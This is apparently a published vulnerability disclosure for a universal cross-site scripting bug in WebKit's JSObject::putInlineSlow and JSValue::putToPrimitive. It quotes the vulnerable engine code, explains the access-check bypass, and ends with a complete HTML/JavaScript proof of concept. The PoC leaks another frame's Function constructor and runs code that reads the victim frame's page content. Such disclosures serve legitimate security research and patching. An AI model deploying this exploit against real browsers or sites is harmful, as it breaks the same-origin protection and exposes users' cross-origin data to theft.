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WebKit - Universal XSS in JSObject::putInlineSlow and JSValue::putToPrimitive

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HACK1949

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VULNERABILITY DETAILS
```
bool JSObject::putInlineSlow(ExecState* exec, PropertyName propertyName, JSValue value, PutPropertySlot& slot)
{
    ASSERT(!isThisValueAltered(slot, this));

    VM& vm = exec->vm();
    auto scope = DECLARE_THROW_SCOPE(vm);

    JSObject* obj = this;
    for (;;) {
        unsigned attributes;
        PropertyOffset offset = obj->structure(vm)->get(vm, propertyName, attributes); // ***1***
        if (isValidOffset(offset)) {
            if (attributes & PropertyAttribute::ReadOnly) {
                ASSERT(this->prototypeChainMayInterceptStoreTo(vm, propertyName) || obj == this);
                return typeError(exec, scope, slot.isStrictMode(), ReadonlyPropertyWriteError);
            }

            JSValue gs = obj->getDirect(offset);
            if (gs.isGetterSetter()) {
                // We need to make sure that we decide to cache this property before we potentially execute aribitrary JS.
                if (!structure(vm)->isDictionary())
                    slot.setCacheableSetter(obj, offset);

                bool result = callSetter(exec, slot.thisValue(), gs, value, slot.isStrictMode() ? StrictMode : NotStrictMode); // ***2***
                RETURN_IF_EXCEPTION(scope, false);
                return result;
            }
            if (gs.isCustomGetterSetter()) {
                // We need to make sure that we decide to cache this property before we potentially execute aribitrary JS.
                if (attributes & PropertyAttribute::CustomAccessor)
                    slot.setCustomAccessor(obj, jsCast<CustomGetterSetter*>(gs.asCell())->setter());
                else
                    slot.setCustomValue(obj, jsCast<CustomGetterSetter*>(gs.asCell())->setter());

                bool result = callCustomSetter(exec, gs, attributes & PropertyAttribute::CustomAccessor, obj, slot.thisValue(), value);
                RETURN_IF_EXCEPTION(scope, false);
                return result;
            }
            ASSERT(!(attributes & PropertyAttribute::Accessor));

            // If there's an existing property on the object or one of its 
            // prototypes it should be replaced, so break here.
            break;
        }
[...]
        JSValue prototype = obj->getPrototype(vm, exec);
        RETURN_IF_EXCEPTION(scope, false);
        if (prototype.isNull())
            break;
        obj = asObject(prototype);
    }
```

This is an extension of https://bugs.chromium.org/p/project-zero/issues/detail?id=1240.
`putInlineSlow` and `putToPrimitive` now call the access-checked `getPrototype` method instead of
`getPrototypeDirect`. However, they still use `Structure::get` directly[1], which bypasses access
checks implemented in functions that override `JSObject::put`. Thus, an attacker can put a
cross-origin object into the prototype chain of a regular object and trigger the invocation of a
cross-origin setter. If the setter raises an exception while processing the passed value, it's
possible to leak the exception object and gain access to, e.g., another window's function
constructor.

Since this issue is only exploitable when a victim page defines a custom accessor property on the
`location` object, its practical impact is minimal.


VERSION
WebKit revision 247430 
Safari version 12.1.1 (14607.2.6.1.1)


REPRODUCTION CASE
<body>
<script>
frame = document.body.appendChild(document.createElement('iframe'));
frame.src = `data:text/html,
  <h1>secret data</h1>
  <script>
    location.__defineSetter__('foo', function(value) {
      alert('Received value: ' + value);
    });
  </s` + `cript>`;

function turnLeakedExceptionIntoUXSS(object) {
  try {
    object.foo = {toString: function() { return {} } };
  } catch (e) {
    let func = e.constructor.constructor;
    func('alert(document.body.innerHTML)')();
  }
}

frame.onload = () => {
  // putInlineSlow
  turnLeakedExceptionIntoUXSS({__proto__: frame.contentWindow.location});

  // putToPrimitive
  num = 1337;
  num.__proto__.__proto__ = frame.contentWindow.location;
  turnLeakedExceptionIntoUXSS(num);
}
</script>
</body>
            
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